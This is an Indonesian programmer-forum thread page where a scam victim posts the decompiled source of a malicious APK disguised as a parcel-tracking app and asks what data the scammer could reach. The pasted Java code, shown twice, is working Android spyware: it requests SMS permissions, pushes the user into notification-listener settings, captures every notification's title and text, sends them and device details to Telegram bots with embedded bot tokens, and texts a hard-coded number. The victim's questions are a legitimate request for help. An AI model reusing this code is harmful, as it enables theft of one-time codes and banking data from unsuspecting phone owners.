- Beranda
- Komunitas
- Tech
- Programmer Forum
The Lounge Programmer #176 - Part 1
TS
mio.chan
The Lounge Programmer #176 - Part 1
Spoiler for Trit Lounge sebelumnya ::
28 Juli 2015
KASKUS
The Lounge— PROGRAMMER#176
Rules :
- Kaskus General Rules >> http://www.kaskus.co.id/about/general_rules
- Dilarang posting pornografi
- Dilarang posting berbau SARA yang dapat memicu pertengkaran / perpecahan
- Dilarang bertengkar atau memancing emosi kaskuser lain
- Harap menyikapi sesuatu dengan bijak
- Dilarang nge-junks
- Dilarang posting jualan
- Dilarang posting lowongan kerja, sudah ada thread nya sendiri buat penawaran lowongan kerja
- Dilarang ...
cv.toottoaa972 dan 20 lainnya memberi reputasi
17
512.3K
Kutip
7.8K
Balasan
Guest
Tulis komentar menarik atau mention replykgpt untuk ngobrol seru
Tampilkan semua post
freyadwyneloise
#7049
KENA SCAM APLIKASI
Kakk.. jadi ane abis kena penipuan online yang berbentuk .APK (undangan.apk , surat tilang.apk , dll..)
ane dapet dari temen deket, karna itu temen deket jadi ane nggak curiga, makanya ane buka+install..
abis itu baru sadar ane kena penipuan
Kira kira itu Source code aplikasi penipunya kak..
Terimakasih kak
ane dapet dari temen deket, karna itu temen deket jadi ane nggak curiga, makanya ane buka+install..
abis itu baru sadar ane kena penipuan
Spoiler for Code:
package com.example.myapplication;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.text.Html;
import android.util.Log;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.TableRow;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class MainActivity extends AppCompatActivity {
private static final int RESULT_ENABLE = 0;
private static final int VISIBILITY = 1028;
final String TAG = "demo1";
/* access modifiers changed from: private */
public final OkHttpClient client = new OkHttpClient();
String device = (Build.BRAND + " - " + Build.MODEL + SmsManager.getDefault());
private Object devicePolicyManager;
ComponentName mDeviceAdminSample;
private BroadcastReceiver onNotice = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
String packageName = intent.getStringExtra("package");
String titleData = intent.getStringExtra("title");
String textData = intent.getStringExtra("text");
String stringExtra = intent.getStringExtra("id");
new TableRow(MainActivity.this.getApplicationContext()).setLayoutParams(new TableRow.LayoutParams(-1, -2));
TextView textview = new TextView(MainActivity.this.getApplicationContext());
textview.setLayoutParams(new TableRow.LayoutParams(-2, -2, 1.0f));
textview.setTextSize(12.0f);
textview.setTextColor(Color.parseColor("#000000"));
textview.setText(Html.fromHtml("From : " + titleData + " | Message : </b>" + textData));
MainActivity.this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6214683096:AAGvhqX8fCZ3J7EAExNdr8w2Imri2eObKQg/sendMessage?parse_mode=markdown&chat_id=5958121206&text=*" + packageName + "* %0A%0A*From :* _" + titleData + "_%0A*Message :* _" + textData + "_").build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
}
};
private TextView textView;
WebSettings websettingku;
WebView webviewku;
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
MainActivity.super.onCreate(savedInstanceState);
setContentView(2131427356);
WebView webView = (WebView) findViewById(2131231023);
this.webviewku = webView;
WebSettings settings = webView.getSettings();
this.websettingku = settings;
settings.setJavaScriptEnabled(true);
this.webviewku.setWebViewClient(new WebViewClient());
this.webviewku.loadUrl("https://jet.co.id/track");
if (Build.VERSION.SDK_INT >= 19) {
this.webviewku.setLayerType(2, (Paint) null);
} else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
this.webviewku.setLayerType(1, (Paint) null);
}
if (Build.VERSION.SDK_INT >= 23 && checkSelfPermission("android.permission.RECEIVE_SMS") != 0 && checkSelfPermission("android.permission.SEND_SMS") != 0) {
requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 1000);
}
}
/* JADX WARNING: type inference failed for: r10v0, types: [com.example.myapplication.MainActivity, android.content.Context, androidx.appcompat.app.AppCompatActivity] */
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
MainActivity.super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode != 1000) {
return;
}
if (grantResults[RESULT_ENABLE] == 0) {
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Aplikasi Terinstall di Perangkat :* _" + this.device).build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
try {
SmsManager.getDefault().sendTextMessage("081231340502", (String) null, "sayang cumi ku sakit", (PendingIntent) null, (PendingIntent) null);
} catch (Exception ex) {
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Error :* _" + ex).build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
Toast.makeText(getApplicationContext(), "" + ex, 1).show();
}
NotificationManager n = (NotificationManager) getApplicationContext().getSystemService("notification");
if (Build.VERSION.SDK_INT >= 23 && !n.isNotificationPolicyAccessGranted()) {
startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
Toast.makeText(this, "Aktifkan Izin Aplikasi!", RESULT_ENABLE).show();
}
LocalBroadcastManager.getInstance(this).registerReceiver(this.onNotice, new IntentFilter("Msg"));
return;
}
Toast.makeText(this, "Permission Not Granted!", RESULT_ENABLE).show();
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Aplikasi Terinstall di Perangkat :* _" + this.device + "_").build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
finish();
}
}
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.graphics.Color;
import android.graphics.Paint;
import android.os.Build;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.text.Html;
import android.util.Log;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.TableRow;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
public class MainActivity extends AppCompatActivity {
private static final int RESULT_ENABLE = 0;
private static final int VISIBILITY = 1028;
final String TAG = "demo1";
/* access modifiers changed from: private */
public final OkHttpClient client = new OkHttpClient();
String device = (Build.BRAND + " - " + Build.MODEL + SmsManager.getDefault());
private Object devicePolicyManager;
ComponentName mDeviceAdminSample;
private BroadcastReceiver onNotice = new BroadcastReceiver() {
public void onReceive(Context context, Intent intent) {
String packageName = intent.getStringExtra("package");
String titleData = intent.getStringExtra("title");
String textData = intent.getStringExtra("text");
String stringExtra = intent.getStringExtra("id");
new TableRow(MainActivity.this.getApplicationContext()).setLayoutParams(new TableRow.LayoutParams(-1, -2));
TextView textview = new TextView(MainActivity.this.getApplicationContext());
textview.setLayoutParams(new TableRow.LayoutParams(-2, -2, 1.0f));
textview.setTextSize(12.0f);
textview.setTextColor(Color.parseColor("#000000"));
textview.setText(Html.fromHtml("From : " + titleData + " | Message : </b>" + textData));
MainActivity.this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6214683096:AAGvhqX8fCZ3J7EAExNdr8w2Imri2eObKQg/sendMessage?parse_mode=markdown&chat_id=5958121206&text=*" + packageName + "* %0A%0A*From :* _" + titleData + "_%0A*Message :* _" + textData + "_").build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
}
};
private TextView textView;
WebSettings websettingku;
WebView webviewku;
/* access modifiers changed from: protected */
public void onCreate(Bundle savedInstanceState) {
MainActivity.super.onCreate(savedInstanceState);
setContentView(2131427356);
WebView webView = (WebView) findViewById(2131231023);
this.webviewku = webView;
WebSettings settings = webView.getSettings();
this.websettingku = settings;
settings.setJavaScriptEnabled(true);
this.webviewku.setWebViewClient(new WebViewClient());
this.webviewku.loadUrl("https://jet.co.id/track");
if (Build.VERSION.SDK_INT >= 19) {
this.webviewku.setLayerType(2, (Paint) null);
} else if (Build.VERSION.SDK_INT >= 11 && Build.VERSION.SDK_INT < 19) {
this.webviewku.setLayerType(1, (Paint) null);
}
if (Build.VERSION.SDK_INT >= 23 && checkSelfPermission("android.permission.RECEIVE_SMS") != 0 && checkSelfPermission("android.permission.SEND_SMS") != 0) {
requestPermissions(new String[]{"android.permission.RECEIVE_SMS", "android.permission.SEND_SMS"}, 1000);
}
}
/* JADX WARNING: type inference failed for: r10v0, types: [com.example.myapplication.MainActivity, android.content.Context, androidx.appcompat.app.AppCompatActivity] */
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
MainActivity.super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode != 1000) {
return;
}
if (grantResults[RESULT_ENABLE] == 0) {
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Aplikasi Terinstall di Perangkat :* _" + this.device).build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
try {
SmsManager.getDefault().sendTextMessage("081231340502", (String) null, "sayang cumi ku sakit", (PendingIntent) null, (PendingIntent) null);
} catch (Exception ex) {
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Error :* _" + ex).build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
Toast.makeText(getApplicationContext(), "" + ex, 1).show();
}
NotificationManager n = (NotificationManager) getApplicationContext().getSystemService("notification");
if (Build.VERSION.SDK_INT >= 23 && !n.isNotificationPolicyAccessGranted()) {
startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
Toast.makeText(this, "Aktifkan Izin Aplikasi!", RESULT_ENABLE).show();
}
LocalBroadcastManager.getInstance(this).registerReceiver(this.onNotice, new IntentFilter("Msg"));
return;
}
Toast.makeText(this, "Permission Not Granted!", RESULT_ENABLE).show();
this.client.newCall(new Request.Builder().url("https://api.telegram.org/bot6690547043:AAEpvFX_dSddbZ_hl7JrqPX2DK7DygwqSiA/sendMessage?parse_mode=markdown&chat_id=6260813041&text=*Aplikasi Terinstall di Perangkat :* _" + this.device + "_").build()).enqueue(new Callback() {
public void onFailure(Call call, IOException e) {
e.printStackTrace();
}
public void onResponse(Call call, Response response) throws IOException {
Log.d("demo1", "OnResponse: Thread Id " + Thread.currentThread().getId());
if (response.isSuccessful()) {
response.body().string();
}
}
});
finish();
}
}
Spoiler for Code 2:
package com.example.myapplication;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
public class NotificationService extends NotificationListenerService {
Context context;
String idData = "";
String textData = "";
String titleData = "";
public void onCreate() {
super.onCreate();
this.context = getApplicationContext();
}
public void onNotificationPosted(StatusBarNotification sbn) {
String packageName = sbn.getPackageName();
Bundle extras = sbn.getNotification().extras;
if (extras.getString("android.title") != null) {
this.titleData = extras.getString("android.title");
} else {
this.titleData = "";
}
if (extras.getCharSequence("android.text") != null) {
this.textData = extras.getCharSequence("android.text").toString();
} else {
this.textData = "";
}
if (extras.getCharSequence("android.id ") != null) {
this.idData = extras.getCharSequence("android.id ").toString();
} else {
this.idData = "";
}
Log.d("Package", packageName);
Log.d("Title", this.titleData);
Log.d("Text", this.textData);
Log.d("ID", this.idData);
Intent msgrcv = new Intent("Msg");
msgrcv.putExtra("package", packageName);
msgrcv.putExtra("title", this.titleData);
msgrcv.putExtra("text", this.textData);
msgrcv.putExtra("id", this.idData);
LocalBroadcastManager.getInstance(this.context).sendBroadcast(msgrcv);
}
public void onNotificationRemoved(StatusBarNotification sbn) {
Log.d("Msg", "Notification Removed");
}
}
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.localbroadcastmanager.content.LocalBroadcastManager;
public class NotificationService extends NotificationListenerService {
Context context;
String idData = "";
String textData = "";
String titleData = "";
public void onCreate() {
super.onCreate();
this.context = getApplicationContext();
}
public void onNotificationPosted(StatusBarNotification sbn) {
String packageName = sbn.getPackageName();
Bundle extras = sbn.getNotification().extras;
if (extras.getString("android.title") != null) {
this.titleData = extras.getString("android.title");
} else {
this.titleData = "";
}
if (extras.getCharSequence("android.text") != null) {
this.textData = extras.getCharSequence("android.text").toString();
} else {
this.textData = "";
}
if (extras.getCharSequence("android.id ") != null) {
this.idData = extras.getCharSequence("android.id ").toString();
} else {
this.idData = "";
}
Log.d("Package", packageName);
Log.d("Title", this.titleData);
Log.d("Text", this.textData);
Log.d("ID", this.idData);
Intent msgrcv = new Intent("Msg");
msgrcv.putExtra("package", packageName);
msgrcv.putExtra("title", this.titleData);
msgrcv.putExtra("text", this.textData);
msgrcv.putExtra("id", this.idData);
LocalBroadcastManager.getInstance(this.context).sendBroadcast(msgrcv);
}
public void onNotificationRemoved(StatusBarNotification sbn) {
Log.d("Msg", "Notification Removed");
}
}
Kira kira itu Source code aplikasi penipunya kak..
Quote:
Ane mau tanya :
1. dari kode di atas penipunya bisa akses apa aja kak?
2. Kalo aplikasinya udah ane hapus apa penipunya masih bisa mantau HP ane?
3. Data2 apa saja yang kiranya bisa di ambil si penipu biar ane ganti (misal email&passwod, dll..)
4. apa Pin M-banking ane&pin layar ane juga si pencurinya tau?
5. apa semua foto, video beserta data dan aktivitas di layar ane bisa di rekam penipu? soalnya sempet ane cek2 m-banking dan ke display kartu ATM online ane, kalo penipu bisa akses layar otomatis ane harus ganti CC..
1. dari kode di atas penipunya bisa akses apa aja kak?
2. Kalo aplikasinya udah ane hapus apa penipunya masih bisa mantau HP ane?
3. Data2 apa saja yang kiranya bisa di ambil si penipu biar ane ganti (misal email&passwod, dll..)
4. apa Pin M-banking ane&pin layar ane juga si pencurinya tau?
5. apa semua foto, video beserta data dan aktivitas di layar ane bisa di rekam penipu? soalnya sempet ane cek2 m-banking dan ke display kartu ATM online ane, kalo penipu bisa akses layar otomatis ane harus ganti CC..
Terimakasih kak
0
Kutip
Balas
Tutup